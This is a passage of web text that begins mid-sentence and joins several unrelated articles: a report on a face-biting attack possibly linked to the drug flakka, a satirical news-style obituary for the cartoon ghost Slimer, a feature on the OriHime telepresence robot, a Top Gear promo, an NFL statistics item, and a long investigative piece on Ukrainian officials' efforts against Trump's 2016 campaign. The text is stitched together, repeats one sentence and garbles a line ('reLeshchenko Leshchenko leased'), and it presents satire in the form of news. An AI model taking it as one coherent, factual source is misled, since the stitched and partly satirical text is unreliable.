substantial injuries, WPEC reports. He was airlifted to St. Mary's Hospital where he underwent emergency surgery. His condition is not known at this time. The suspect was also taken to St. Mary's, where he is undergoing treatment. His motive is not known at this time. "When we see a case like this, when someone is biting off pieces of somebody's face, could it be flakka, the answer is it absolutely could be flakka case, we don't know," Martin County Sheriff William Snyder said, according to CBS Miami. Flakka is a designer drug that can be snorted, smoked, injected or swallowed, and has been seen in a large number of cases of bizarre and uncontrollable behavior in Florida in the past year. Flakka is most typically made from the chemical alpha-PVP, which is a synthetic version of the amphetamine-like stimulant cathinone. Cathinones are chemicals derived from the khat plant grown in the Middle East and Somalia, where the leaves are frequently chewed for a euphoric buzz. It's the same class of chemical that's used to make so-called bath salts, a drug that was found to be behind a number of alarming incidents, including the case of a man in Miami who allegedly chewed another man's face while high on bath salts in 2012. The immediate and long-term effects of cathinones can rival some of the strongest crystal meth and cocaine. Sheriff Snyder said of the Martin County case: "It will be some time before we get any kind of toxicology report, but I would not be surprised, though, if we end up finding out that is the case." -Real Ghostbusters star Slimer passed away peacefully at his home in Beverly Hills at the weekend, his agent has confirmed. He was a ghost, and therefore of indeterminate age. Slimer rose to fame in the animated adaption of the movie Ghostbusters, a hit with audiences worldwide for seven seasons in the 80’s. Speaking about the role in an interview with Rolling Stone in 2001, he said “As an actor it was a dream come true for me. When I saw the movie I just thought ‘That’s me, that’s my life up there’. When I heard they were putting together a TV series I got on to my agent straight away. ‘Get me an audition, whatever it takes!’ I shouted, but he couldn’t really make me out over the phone. I’ve got a ridiculous voice and the handset gets all clogged up with goo.” Slimer was subsequently cast as the iconic lime-green spook, going on to appear in 147 episodes. He brought his own twist to the role. “I said right from the get-go I wanted his character to be sympathetic. I thought there was a naive vulnerability there that hadn’t been fully explored in the movie. He just basically shoveled sausages into his mouth and attacked Bill Murray. I felt there was more driving this guy than that.” Slimer was rewritten as a friendly pet of the Ghostbusters, who paid their own personal tributes yesterday. The cartoon version of Peter Venkman released a statement that read: “As the guy who did my voice died in 2001 I am unable to say anything at this sad time. To put on the page my feelings about that little fella is just too painful. So I’ll simply say this. He was a friend.” The Cartoon version of Egon Spengler said: “I spent a lot of time pouring my heart out to Slimer. He was a great listener. More than that, he was a disgusting individual.” In later years the series was re-branded as Slimer! and the Real Ghostbusters, but by this stage many thought the show to be past its best. “I disappeared up my own butthole” the star told Time Magazine in 2005. My behavior became unacceptable. I would spray whipped cream into my mouth, wash it down with a gallon of cream soda and a carton of fried chicken, then burp and smear myself all over the rest of the cast in a kind of frenzy. I recognize now I must have been difficult to work with.” After the show’s cancellation in 1991 Slimer concentrated on low-key hauntings of derelict buildings, a passion he had enjoyed before taking up acting. Dan Aykroyd said last night: “How can a ghost die? That doesn’t make any sense”, but Dan Aykroyd says a lot of things. Advertisements -Yuuta Banda poses for a photo with OriHime, his robot avatar. Image: OryLab When Yuuta Banda was just four years old, he suffered a car accident that left him paralyzed, connected to a respiratory machine, and confined to bed for life. But almost two decades later, he's been able to experience different places, and even find a job thanks to OriHime, his robot avatar. "At first I couldn't understand what was so great about OriHime, but I gradually learned through using it that [the robot] afforded people with a sense of presence," Banda told me in an email. "I felt a greater sense of satisfaction as I spoke with people in different places to me through the robot." OriHime, created by Japanese startup OryLab, is a portable robot about the same height as a laptop screen that acts as an avatar for a human operator. When I first saw it in OryLab's Tokyo office, it looked like a cross between a power ranger and a sea creature. Its creators argue that screen-on-wheels type telepresence devices like the one that projected US whistleblower Edward Snowden's face during a 2014 TED Talk can sometimes make it seem like you're talking with someone far away through a window. Their robot, they say, makes it feel like the person you're speaking to remotely is actually by your side—embodied through the robot. OriHime looks at the author reflected in the smartphone that is controlled by Akirahime. Image: Emiko Jozuka The startup, which has been supported by angel investors since its founding in 2012, is in the midst of securing its first round of venture capital for its product, which it wants to be used in everything from social settings like parties to serious business meetings. OryLab CEO Kentaro Yoshifuji initially dreamt up the robot when he was unable to attend school for three years owing to an illness. Years later, he met Yuki Akirahime, OryLab CFO, who shared a similar experience when she was confined to a hospital bed for six months as a high school student. The experience led her to miss out on giving a presentation in the US when she won a prize at the Japan Science and Engineering Challenge (JSEC) in 2006. "Yoshifuji and I both had a period where it was hard for us to go outside due to both our physical and psychological states," explained Akirahime. "If I had had an alter ego, then it could have gone to the US on my behalf, and I could've just given the presentation from the hospital in Japan." OriHime the robot demoes one of its ten poses. Image: Emiko Jozuka Banda, who connected with OryLab CEO Kentaro Yoshifuji via Facebook, has been using the robot for almost two years. He currently performs secretarial duties full-time for OryLab from his home in northern Japan. To control his robot counterpart in the Tokyo office, Banda either speaks directly into a microphone or selects commands by moving a pen connected to a mousepad with his chin. I'd really like this robot to be used by people [who can't move] owing to incurable diseases, and for it to provide these people with a sense of purpose within society" The Wi-Fi-connected, battery-powered, and app-controlled robot has an onboard camera that acts as the eyes for its human operator, flippers that move to reflect its user's moods, and a microphone that projects the user's voice. OriHime—whose name comes from a fairytale about a goddess who can only see her beloved, Hikoboshi, once a year—currently has ten moves that range from a nod to show agreement, a side-to-side head movement that means no, and a flipper tap denoting a special phrase (nandeyanen) unique to the Kansai region in the south of Honshu, Japan's main island, to indicate affectionate disagreement when someone says something a bit dumb. "I'd really like this robot to be used by people [who can't move] owing to incurable diseases, and for it to provide these people with a sense of purpose within society," said Banda, who mentioned how people in similar situations to him could also find a way to enter the labor force through the robot. The idea of telepresence robots has always been big in Japan, with veteran researcher Susumu Tachi spending over 30 years perfecting his concept, roboticist Hiroshi Ishiguro giving lectures via a lifelike doppelganger android, and entrepreneur Tatsuki Adiyana creating a VR headset that lets people see the world through the eyes of an avatar teddy bear. Yet these ideas have yet to make it commercially—one thing OryLab is trying to change with OriHime. So far OryLab—which has nine employees—has made close to 100 OriHime robots. Fifty have been rented out; some for free and others at a charge of 300,000 YEN ($277) per month. The rest are undergoing testing. The company is aiming to have made at least 300 robots by the end of this year, and want to produce close to 1,000 in 2017. It also wants to bring the robot's rental fee down to 10,000 YEN ($92) per month. Akirahime explained that the startup prefered renting out its robots as opposed to selling them as the software is constantly being improved based on user feedback. OryLab co-founder and CFO Akirahime with OriHime in Tokyo. Image: Emiko Jozuka For Banda, who initially worked his way from an internship to a full-time position at OryLab, OriHime has levelled his experience of the workplace, making it a more democratic space where all can participate. "Even now, I'm having my presence felt in OryLab's office in Tokyo through OriHime. I take part in meetings, attend lectures with the team," said Banda. "I'm really just in the middle of making up for 20 years worth of hospitalization and experiencing the world." Cool Japan is a column about the quirky and serious happenings in the Japanese scientific, technological and cultural realms. It covers the unknown, the mainstream, and the otherwise interesting developments in Japan. -It might have been the sight of a London taxi mooching through the wilds of Kazakhstan, or maybe it was the curious image of a Lamborghini Huracán pinned down a ski slope at crazy speed - with a bloke who used to be called Joey behind the wheel. But wobbling a clapped-out Maserati 222 into Havana’s Revolution Square beat them both as a personal reminder of the sheer scope of films we’ve made for this new series of Top Gear. That’s what I love about working for TG - the stupefying variety of locations and vehicles, places and people. From simple(ish) power tests at our Dunsfold test track to scrabbling up rock faces in the California desert, every day is an adventure, and at the centre of each insane idea there is at least one motor car we want to understand and, most of the time, celebrate. I still can’t quite believe the line-up of metal you’ll get to see over the seven weeks - it’s remarkable. I hope you have as much fun watching the show as we did making it. -The 1970 Cincinnati Bengals have been widely credited with bringing the West Coast offense to the N.F.L. The team’s coach, Paul Brown, and offensive coordinator (and future San Francisco 49ers coach), Bill Walsh, were faced with a challenge, as quarterback Virgil Carter was a smart player with a weak arm. Under Walsh’s tutelage, the Bengals operated a short-passing game that was effective in those run-heavy days. A year later, Carter led the N.F.L. in completion percentage. But that 1970 Cincinnati team is famous for another reason: Of the 158 teams from 1970 to 2014 that started an N.F.L. season with a 1-5 record, it is the only one to make the playoffs. It actually began the season 1-6, before winning its final seven games to finish 8-6. Now, 35 years later, the Kansas City Chiefs (at 5-5) are poised to join the Bengals. Fittingly enough, it’s a team with Walsh ties; Kansas City Coach Andy Reid worked for years in Green Bay under Mike Holmgren, who was Walsh’s quarterbacks coach for three seasons in San Francisco. The Chiefs also have a quarterback with a similar playing style. Like Carter, Alex Smith is one of the game’s brightest quarterbacks, and is able to make plays with his legs. Their passing styles are similar, too. Entering Week 11, Alex Smith’s average pass had traveled just 6.08 yards from the line of scrimmage, by far the fewest in the league. But Smith’s conservative approach has its benefits: He has not thrown an interception since Week 3, and he has thrown a franchise-record 253 consecutive passes without an interception. -Donald Trump wasn’t the only presidential candidate whose campaign was boosted by officials of a former Soviet bloc country. Ukrainian government officials tried to help Hillary Clinton and undermine Trump by publicly questioning his fitness for office. They also disseminated documents implicating a top Trump aide in corruption and suggested they were investigating the matter, only to back away after the election. And they helped Clinton’s allies research damaging information on Trump and his advisers, a Politico investigation found. Story Continued Below A Ukrainian-American operative who was consulting for the Democratic National Committee met with top officials in the Ukrainian Embassy in Washington in an effort to expose ties between Trump, top campaign aide Paul Manafort and Russia, according to people with direct knowledge of the situation. The Ukrainian efforts had an impact in the race, helping to force Manafort’s resignation and advancing the narrative that Trump’s campaign was deeply connected to Ukraine’s foe to the east, Russia. But they were far less concerted or centrally directed than Russia’s alleged hacking and dissemination of Democratic emails. Russia’s effort was personally directed by Russian President Vladimir Putin, involved the country’s military and foreign intelligence services, according to U.S. intelligence officials. They reportedly briefed Trump last week on the possibility that Russian operatives might have compromising information on the president-elect. And at a Senate hearing last week on the hacking, Director of National Intelligence James Clapper said “I don't think we've ever encountered a more aggressive or direct campaign to interfere in our election process than we've seen in this case.” There’s little evidence of such a top-down effort by Ukraine. Longtime observers suggest that the rampant corruption, factionalism and economic struggles plaguing the country — not to mention its ongoing strife with Russia — would render it unable to pull off an ambitious covert interference campaign in another country’s election. And President Petro Poroshenko’s administration, along with the Ukrainian Embassy in Washington, insists that Ukraine stayed neutral in the race. Yet Politico’s investigation found evidence of Ukrainian government involvement in the race that appears to strain diplomatic protocol dictating that governments refrain from engaging in one another’s elections. Russia’s meddling has sparked outrage from the American body politic. The U.S. intelligence community undertook the rare move of publicizing its findings on the matter, and President Barack Obama took several steps to officially retaliate, while members of Congress continue pushing for more investigations into the hacking and a harder line against Russia, which was already viewed in Washington as America’s leading foreign adversary. Ukraine, on the other hand, has traditionally enjoyed strong relations with U.S. administrations. Its officials worry that could change under Trump, whose team has privately expressed sentiments ranging from ambivalence to deep skepticism about Poroshenko’s regime, while sounding unusually friendly notes about Putin’s regime. Poroshenko is scrambling to alter that dynamic, recently signing a $50,000-a-month contract with a well-connected GOP-linked Washington lobbying firm to set up meetings with U.S. government officials “to strengthen U.S.-Ukrainian relations.” A Ukrainian-American operative who was consulting for the Democratic National Committee met with top officials in the Ukrainian Embassy in Washington in an effort to expose ties between Trump, top campaign aide Paul Manafort (pictured) and Russia, according to people with direct knowledge of the situation. | Getty Revelations about Ukraine’s anti-Trump efforts could further set back those efforts. “Things seem to be going from bad to worse for Ukraine,” said David A. Merkel, a senior fellow at the Atlantic Council who helped oversee U.S. relations with Russia and Ukraine while working in George W. Bush’s State Department and National Security Council. Merkel, who has served as an election observer in Ukrainian presidential elections dating back to 1993, noted there’s some irony in Ukraine and Russia taking opposite sides in the 2016 presidential race, given that past Ukrainian elections were widely viewed in Washington’s foreign policy community as proxy wars between the U.S. and Russia. “Now, it seems that a U.S. election may have been seen as a surrogate battle by those in Kiev and Moscow,” Merkel said. ••• The Ukrainian antipathy for Trump’s team — and alignment with Clinton’s — can be traced back to late 2013. That’s when the country’s president, Viktor Yanukovych, whom Manafort had been advising, abruptly backed out of a European Union pact linked to anti-corruption reforms. Instead, Yanukovych entered into a multibillion-dollar bailout agreement with Russia, sparking protests across Ukraine and prompting Yanukovych to flee the country to Russia under Putin’s protection. In the ensuing crisis, Russian troops moved into the Ukrainian territory of Crimea, and Manafort dropped off the radar. Manafort’s work for Yanukovych caught the attention of a veteran Democratic operative named Alexandra Chalupa, who had worked in the White House Office of Public Liaison during the Clinton administration. Chalupa went on to work as a staffer, then as a consultant, for Democratic National Committee. The DNC paid her $412,000 from 2004 to June 2016, according to Federal Election Commission records, though she also was paid by other clients during that time, including Democratic campaigns and the DNC’s arm for engaging expatriate Democrats around the world. A daughter of Ukrainian immigrants who maintains strong ties to the Ukrainian-American diaspora and the U.S. Embassy in Ukraine, Chalupa, a lawyer by training, in 2014 was doing pro bono work for another client interested in the Ukrainian crisis and began researching Manafort’s role in Yanukovych’s rise, as well as his ties to the pro-Russian oligarchs who funded Yanukovych’s political party. In an interview this month, Chalupa told Politico she had developed a network of sources in Kiev and Washington, including investigative journalists, government officials and private intelligence operatives. While her consulting work at the DNC this past election cycle centered on mobilizing ethnic communities — including Ukrainian-Americans — she said that, when Trump’s unlikely presidential campaign began surging in late 2015, she began focusing more on the research, and expanded it to include Trump’s ties to Russia, as well. She occasionally shared her findings with officials from the DNC and Clinton’s campaign, Chalupa said. In January 2016 — months before Manafort had taken any role in Trump’s campaign — Chalupa told a senior DNC official that, when it came to Trump’s campaign, “I felt there was a Russia connection,” Chalupa recalled. “And that, if there was, that we can expect Paul Manafort to be involved in this election,” said Chalupa, who at the time also was warning leaders in the Ukrainian-American community that Manafort was “Putin’s political brain for manipulating U.S. foreign policy and elections.” She said she shared her concern with Ukraine’s ambassador to the U.S., Valeriy Chaly, and one of his top aides, Oksana Shulyar, during a March 2016 meeting at the Ukrainian Embassy. According to someone briefed on the meeting, Chaly said that Manafort was very much on his radar, but that he wasn’t particularly concerned about the operative’s ties to Trump since he didn’t believe Trump stood much of a chance of winning the GOP nomination, let alone the presidency. That was not an uncommon view at the time, and, perhaps as a result, Trump’s ties to Russia — let alone Manafort’s — were not the subject of much attention. That all started to change just four days after Chalupa’s meeting at the embassy, when it was reported that Trump had in fact hired Manafort, suggesting that Chalupa may have been on to something. She quickly found herself in high demand. The day after Manafort’s hiring was revealed, she briefed the DNC’s communications staff on Manafort, Trump and their ties to Russia, according to an operative familiar with the situation. A former DNC staffer described the exchange as an “informal conversation,” saying “‘briefing’ makes it sound way too formal,” and adding, “We were not directing or driving her work on this.” Yet, the former DNC staffer and the operative familiar with the situation agreed that with the DNC’s encouragement, Chalupa asked embassy staff to try to arrange an interview in which Poroshenko might discuss Manafort’s ties to Yanukovych. While the embassy declined that request, officials there became “helpful” in Chalupa’s efforts, she said, explaining that she traded information and leads with them. “If I asked a question, they would provide guidance, or if there was someone I needed to follow up with.” But she stressed, “There were no documents given, nothing like that.” Chalupa said the embassy also worked directly with reporters researching Trump, Manafort and Russia to point them in the right directions. She added, though, “they were being very protective and not speaking to the press as much as they should have. I think they were being careful because their situation was that they had to be very, very careful because they could not pick sides. It’s a political issue, and they didn’t want to get involved politically because they couldn’t.” Shulyar vehemently denied working with reporters or with Chalupa on anything related to Trump or Manafort, explaining “we were stormed by many reporters to comment on this subject, but our clear and adamant position was not to give any comment [and] not to interfere into the campaign affairs.” Russia’s effort to influence the 2016 race was personally directed by Russian President Vladimir Putin (pictured), and involved the country’s military and foreign intelligence services, according to U.S. intelligence officials. | Getty Both Shulyar and Chalupa said the purpose of their initial meeting was to organize a June reception at the embassy to promote Ukraine. According to the embassy’s website, the event highlighted female Ukrainian leaders, featuring speeches by Ukrainian parliamentarian Hanna Hopko, who discussed “Ukraine’s fight against the Russian aggression in Donbas,” and longtime Hillary Clinton confidante Melanne Verveer, who worked for Clinton in the State Department and was a vocal surrogate during the presidential campaign. Shulyar said her work with Chalupa “didn’t involve the campaign,” and she specifically stressed that “We have never worked to research and disseminate damaging information about Donald Trump and Paul Manafort.” But Andrii Telizhenko, who worked as a political officer in the Ukrainian Embassy under Shulyar, said she instructed him to help Chalupa research connections between Trump, Manafort and Russia. “Oksana said that if I had any information, or knew other people who did, then I should contact Chalupa,” recalled Telizhenko, who is now a political consultant in Kiev. “They were coordinating an investigation with the Hillary team on Paul Manafort with Alexandra Chalupa,” he said, adding “Oksana was keeping it all quiet,” but “the embassy worked very closely with” Chalupa. In fact, sources familiar with the effort say that Shulyar specifically called Telizhenko into a meeting with Chalupa to provide an update on an American media outlet’s ongoing investigation into Manafort. Telizhenko recalled that Chalupa told him and Shulyar that, “If we can get enough information on Paul [Manafort] or Trump’s involvement with Russia, she can get a hearing in Congress by September.” Chalupa confirmed that, a week after Manafort’s hiring was announced, she discussed the possibility of a congressional investigation with a foreign policy legislative assistant in the office of Rep. Marcy Kaptur (D-Ohio), who co-chairs the Congressional Ukrainian Caucus. But, Chalupa said, “It didn’t go anywhere.” Asked about the effort, the Kaptur legislative assistant called it a “touchy subject” in an internal email to colleagues that was accidentally forwarded to Politico. Kaptur’s office later emailed an official statement explaining that the lawmaker is backing a bill to create an independent commission to investigate “possible outside interference in our elections.” The office added “at this time, the evidence related to this matter points to Russia, but Congresswoman Kaptur is concerned with any evidence of foreign entities interfering in our elections.” ••• Almost as quickly as Chalupa’s efforts attracted the attention of the Ukrainian Embassy and Democrats, she also found herself the subject of some unwanted attention from overseas. Within a few weeks of her initial meeting at the embassy with Shulyar and Chaly, Chalupa on April 20 received the first of what became a series of messages from the administrators of her private Yahoo email account, warning her that “state-sponsored actors” were trying to hack into her emails. She kept up her crusade, appearing on a panel a week after the initial hacking message to discuss her research on Manafort with a group of Ukrainian investigative journalists gathered at the Library of Congress for a program sponsored by a U.S. congressional agency called the Open World Leadership Center. Center spokeswoman Maura Shelden stressed that her group is nonpartisan and ensures “that our delegations hear from both sides of the aisle, receiving bipartisan information.” She said the Ukrainian journalists in subsequent days met with Republican officials in North Carolina and elsewhere. And she said that, before the Library of Congress event, “Open World’s program manager for Ukraine did contact Chalupa to advise her that Open World is a nonpartisan agency of the Congress.” Chalupa, though, indicated in an email that was later hacked and released by WikiLeaks that the Open World Leadership Center “put me on the program to speak specifically about Paul Manafort.” In the email, which was sent in early May to then-DNC communications director Luis Miranda, Chalupa noted that she had extended an invitation to the Library of Congress forum to veteran Washington investigative reporter Michael Isikoff. Two days before the event, he had published a story for Yahoo News revealing the unraveling of a $26 million deal between Manafort and a Russian oligarch related to a telecommunications venture in Ukraine. And Chalupa wrote in the email she’d been “working with for the past few weeks” with Isikoff “and connected him to the Ukrainians” at the event. Isikoff, who accompanied Chalupa to a reception at the Ukrainian Embassy immediately after the Library of Congress event, declined to comment. Chalupa further indicated in her hacked May email to the DNC that she had additional sensitive information about Manafort that she intended to share “offline” with Miranda and DNC research director Lauren Dillon, including “a big Trump component you and Lauren need to be aware of that will hit in next few weeks and something I’m working on you should be aware of.” Explaining that she didn’t feel comfortable sharing the intel over email, Chalupa attached a screenshot of a warning from Yahoo administrators about “state-sponsored” hacking on her account, explaining, “Since I started digging into Manafort these messages have been a daily occurrence on my yahoo account despite changing my password often.” Dillon and Miranda declined to comment. A DNC official stressed that Chalupa was a consultant paid to do outreach for the party’s political department, not a researcher. She undertook her investigations into Trump, Manafort and Russia on her own, and the party did not incorporate her findings in its dossiers on the subjects, the official said, stressing that the DNC had been building robust research books on Trump and his ties to Russia long before Chalupa began sounding alarms. Nonetheless, Chalupa’s hacked email reportedly escalated concerns among top party officials, hardening their conclusion that Russia likely was behind the cyber intrusions with which the party was only then beginning to grapple. Chalupa left the DNC after the Democratic convention in late July to focus fulltime on her research into Manafort, Trump and Russia. She said she provided off-the-record information and guidance to “a lot of journalists” working on stories related to Manafort and Trump’s Russia connections, despite what she described as escalating harassment. About a month-and-a-half after Chalupa first started receiving hacking alerts, someone broke into her car outside the Northwest Washington home where she lives with her husband and three young daughters, she said. They “rampaged it, basically, but didn’t take anything valuable — left money, sunglasses, $1,200 worth of golf clubs,” she said, explaining she didn’t file a police report after that incident because she didn’t connect it to her research and the hacking. But by the time a similar vehicle break-in occurred involving two family cars, she was convinced that it was a Russia-linked intimidation campaign. The police report on the latter break-in noted that “both vehicles were unlocked by an unknown person and the interior was ransacked, with papers and the garage openers scattered throughout the cars. Nothing was taken from the vehicles.” Then, early in the morning on another day, a woman “wearing white flowers in her hair” tried to break into her family’s home at 1:30 a.m., Chalupa said. Shulyar told Chalupa that the mysterious incident bore some of the hallmarks of intimidation campaigns used against foreigners in Russia, according to Chalupa. “This is something that they do to U.S. diplomats, they do it to Ukrainians. Like, this is how they operate. They break into people’s homes. They harass people. They’re theatrical about it,” Chalupa said. “They must have seen when I was writing to the DNC staff, outlining who Manafort was, pulling articles, saying why it was significant, and painting the bigger picture.” In a Yahoo News story naming Chalupa as one of 16 “ordinary people” who “shaped the 2016 election,” Isikoff wrote that after Chalupa left the DNC, FBI agents investigating the hacking questioned her and examined her laptop and smartphone. Chalupa this month told Politico that, as her research and role in the election started becoming more public, she began receiving death threats, along with continued alerts of state-sponsored hacking. But she said, “None of this has scared me off.” ••• While it’s not uncommon for outside operatives to serve as intermediaries between governments and reporters, one of the more damaging Russia-related stories for the Trump campaign — and certainly for Manafort — can be traced more directly to the Ukrainian government. Documents released by an independent Ukrainian government agency — and publicized by a parliamentarian — appeared to show $12.7 million in cash payments that were earmarked for Manafort by the Russia-aligned party of the deposed former president, Yanukovych. The New York Times, in the August story revealing the ledgers’ existence, reported that the payments earmarked for Manafort were “a focus” of an investigation by Ukrainian anti-corruption officials, while CNN reported days later that the FBI was pursuing an overlapping inquiry. One of the most damaging Russia-related stories during Donald Trump's campaign can be traced to the Ukrainian government. | AP Photo Clinton’s campaign seized on the story to advance Democrats’ argument that Trump’s campaign was closely linked to Russia. The ledger represented “more troubling connections between Donald Trump’s team and pro-Kremlin elements in Ukraine,” Robby Mook, Clinton’s campaign manager, said in a statement. He demanded that Trump “disclose campaign chair Paul Manafort’s and all other campaign employees’ and advisers’ ties to Russian or pro-Kremlin entities, including whether any of Trump’s employees or advisers are currently representing and or being paid by them.” A former Ukrainian investigative journalist and current parliamentarian named Serhiy Leshchenko, who was elected in 2014 as part of Poroshenko’s party, held a news conference to highlight the ledgers, and to urge Ukrainian and American law enforcement to aggressively investigate Manafort. “I believe and understand the basis of these payments are totally against the law — we have the proof from these books,” Leshchenko said during the news conference, which attracted international media coverage. “If Mr. Manafort denies any allegations, I think he has to be interrogated into this case and prove his position that he was not involved in any misconduct on the territory of Ukraine,” Leshchenko added. Manafort denied receiving any off-books cash from Yanukovych’s Party of Regions, and said that he had never been contacted about the ledger by Ukrainian or American investigators, later telling POLITICO “I was just caught in the crossfire.” According to a series of memos reportedly compiled for Trump’s opponents by a former British intelligence agent, Yanukovych, in a secret meeting with Putin on the day after the Times published its report, admitted that he had authorized “substantial kickback payments to Manafort.” But according to the report, which was published Tuesday by BuzzFeed but remains unverified. Yanukovych assured Putin “that there was no documentary trail left behind which could provide clear evidence of this” — an alleged statement that seemed to implicitly question the authenticity of the ledger. The scrutiny around the ledgers — combined with that from other stories about his Ukraine work — proved too much, and he stepped down from the Trump campaign less than a week after the Times story. But the scrutiny around the ledgers — combined with that from other stories about his Ukraine work — proved too much, and he stepped down from the Trump campaign less than a week after the Times story. At the time, Leshchenko suggested that his motivation was partly to undermine Trump. “For me, it was important to show not only the corruption aspect, but that he is [a] pro-Russian candidate who can break the geopolitical balance in the world,” Leshchenko told the Financial Times about two weeks after his news conference. The newspaper noted that Trump’s candidacy had spurred “Kiev’s wider political leadership to do something they would never have attempted before: intervene, however indirectly, in a U.S. election,” and the story quoted Leshchenko asserting that the majority of Ukraine’s politicians are “on Hillary Clinton’s side.” But by this month, Leshchenko was seeking to recast his motivation, telling Politico, “I didn’t care who won the U.S. elections. This was a decision for the American voters to decide.” His goal in highlighting the ledgers, he said was “to raise these issues on a political level and emphasize the importance of the investigation.” In a series of answers provided to Politico, a spokesman for Poroshenko distanced his administration from both Leshchenko’s efforts and those of the agency that reLeshchenko Leshchenko leased the ledgers, The National Anti-Corruption Bureau of Ukraine. It was created in 2014 as a condition for Ukraine to receive aid from the U.S. and the European Union, and it signed an evidence-sharing agreement with the FBI in late June — less than a month and a half before it released the ledgers. The bureau is “fully independent,” the Poroshenko spokesman said, adding that when it came to the presidential administration there was “no targeted action against Manafort.” He added “as to Serhiy Leshchenko, he positions himself as a representative of internal opposition in the Bloc of Petro Poroshenko’s faction, despite [the fact that] he belongs to the faction,” the spokesman said, adding, “it was about him personally who pushed [the anti-corruption bureau] to proceed with investigation on Manafort.” But an operative who has worked extensively in Ukraine, including as an adviser to Poroshenko, said it was highly unlikely that either Leshchenko or the anti-corruption bureau would have pushed the issue without at least tacit approval from Poroshenko or his closest allies. “It was something that Poroshenko was probably aware of and could have stopped if he wanted to,” said the operative. And, almost immediately after Trump’s stunning victory over Clinton, questions began mounting about the investigations into the ledgers — and the ledgers themselves. An official with the anti-corruption bureau told a Ukrainian newspaper, “Mr. Manafort does not have a role in this case.” Ukrainian member of parliament Serhiy Leshchenko has sought to recast his investigation after the election. | Getty And, while the anti-corruption bureau told Politico late last month that a “general investigation [is] still ongoing” of the ledger, it said Manafort is not a target of the investigation. “As he is not the Ukrainian citizen, [the anti-corruption bureau] by the law couldn’t investigate him personally,” the bureau said in a statement. Some Poroshenko critics have gone further, suggesting that the bureau is backing away from investigating because the ledgers might have been doctored or even forged. Valentyn Nalyvaichenko, a Ukrainian former diplomat who served as the country’s head of security under Poroshenko but is now affiliated with a leading opponent of Poroshenko, said it was fishy that “only one part of the black ledger appeared.” He asked, “Where is the handwriting analysis?” and said it was “crazy” to announce an investigation based on the ledgers. He met last month in Washington with Trump allies, and said, “of course they all recognize that our [anti-corruption bureau] intervened in the presidential campaign.” And in an interview this week, Manafort, who re-emerged as an informal advisor to Trump after Election Day, suggested that the ledgers were inauthentic and called their publication “a politically motivated false attack on me. My role as a paid consultant was public. There was nothing off the books, but the way that this was presented tried to make it look shady.” He added that he felt particularly wronged by efforts to cast his work in Ukraine as pro-Russian, arguing “all my efforts were focused on helping Ukraine move into Europe and the West.” He specifically cited his work on denuclearizing the country and on the European Union trade and political pact that Yanukovych spurned before fleeing to Russia. “In no case was I ever involved in anything that would be contrary to U.S. interests,” Manafort said. Yet Russia seemed to come to the defense of Manafort and Trump last month, when a spokeswoman for Russia’s Foreign Ministry charged that the Ukrainian government used the ledgers as a political weapon. “Ukraine seriously complicated the work of Trump’s election campaign headquarters by planting information according to which Paul Manafort, Trump’s campaign chairman, allegedly accepted money from Ukrainian oligarchs,” Maria Zakharova said at a news briefing, according to a transcript of her remarks posted on the Foreign Ministry’s website. “All of you have heard this remarkable story,” she told assembled reporters. ••• Beyond any efforts to sabotage Trump, Ukrainian officials didn’t exactly extend a hand of friendship to the GOP nominee during the campaign. The ambassador, Chaly, penned an op-ed for The Hill, in which he chastised Trump for a confusing series of statements in which the GOP candidate at one point expressed a willingness to consider recognizing Russia’s annexation of the Ukrainian territory of Crimea as legitimate. The op-ed made some in the embassy uneasy, sources said. “That was like too close for comfort, even for them,” said Chalupa. “That was something that was as risky as they were going to be.” Former Ukrainian Prime Minister Arseny Yatseniuk warned on Facebook that Trump had “challenged the very values of the free world.” Ukraine’s minister of internal affairs, Arsen Avakov, piled on, trashing Trump on Twitter in July as a “clown” and asserting that Trump is “an even bigger danger to the US than terrorism.” Avakov, in a Facebook post, lashed out at Trump for his confusing Crimea comments, calling the assessment the “diagnosis of a dangerous misfit,” according to a translated screenshot featured in one media report, though he later deleted the post. He called Trump “dangerous for Ukraine and the US” and noted that Manafort worked with Yanukovych when the former Ukrainian leader “fled to Russia through Crimea. Where would Manafort lead Trump?” The Trump-Ukraine relationship grew even more fraught in September with reports that the GOP nominee had snubbed Poroshenko on the sidelines of the United Nations General Assembly in New York, where the Ukrainian president tried to meet both major party candidates, but scored only a meeting with Clinton. Telizhenko, the former embassy staffer, said that, during the primaries, Chaly, the country’s ambassador in Washington, had actually instructed the embassy not to reach out to Trump’s campaign, even as it was engaging with those of Clinton and Trump’s leading GOP rival, Ted Cruz. “We had an order not to talk to the Trump team, because he was critical of Ukraine and the government and his critical position on Crimea and the conflict,” said Telizhenko. “I was yelled at when I proposed to talk to Trump,” he said, adding, “The ambassador said not to get involved — Hillary is going to win.” This account was confirmed by Nalyvaichenko, the former diplomat and security chief now affiliated with a Poroshenko opponent, who said, “The Ukrainian authorities closed all doors and windows — this is from the Ukrainian side.” He called the strategy “bad and short-sighted.” Andriy Artemenko, a Ukrainian parliamentarian associated with a conservative opposition party, did meet with Trump’s team during the campaign and said he personally offered to set up similar meetings for Chaly but was rebuffed. “It was clear that they were supporting Hillary Clinton’s candidacy,” Artemenko said. “They did everything from organizing meetings with the Clinton team, to publicly supporting her, to criticizing Trump. … I think that they simply didn’t meet because they thought that Hillary would win.” Shulyar rejected the characterizations that the embassy had a ban on interacting with Trump, instead explaining that it “had different diplomats assigned for dealing with different teams tailoring the content and messaging. So it was not an instruction to abstain from the engagement but rather an internal discipline for diplomats not to get involved into a field she or he was not assigned to, but where another colleague was involved.” And she pointed out that Chaly traveled to the GOP convention in Cleveland in late July and met with members of Trump’s foreign policy team “to highlight the importance of Ukraine and the support of it by the U.S.” Ukraine’s ambassador to the U.S. Valeriy Chaly publically critcized Donald Trump during the 2016 elections. | Getty Despite the outreach, Trump’s campaign in Cleveland gutted a proposed amendment to the Republican Party platform that called for the U.S. to provide “lethal defensive weapons” for Ukraine to defend itself against Russian incursion, backers of the measure charged. The outreach ramped up after Trump’s victory. Shulyar pointed out that Poroshenko was among the first foreign leaders to call to congratulate Trump. And she said that, since Election Day, Chaly has met with close Trump allies, including Sens. Jeff Sessions, Trump’s nominee for attorney general, and Bob Corker, the chairman of the Senate Foreign Relations Committee, while the ambassador accompanied Ivanna Klympush-Tsintsadze, Ukraine’s vice prime minister for European and Euro-Atlantic integration, to a round of Washington meetings with Rep. Tom Marino (R-Pa.), an early Trump backer, and Jim DeMint, president of The Heritage Foundation, which played a prominent role in Trump’s transition. ••• Many Ukrainian officials and operatives and their American allies see Trump’s inauguration this month as an existential threat to the country, made worse, they admit, by the dissemination of the secret ledger, the antagonistic social media posts and the perception that the embassy meddled against — or at least shut out — Trump. “It’s really bad. 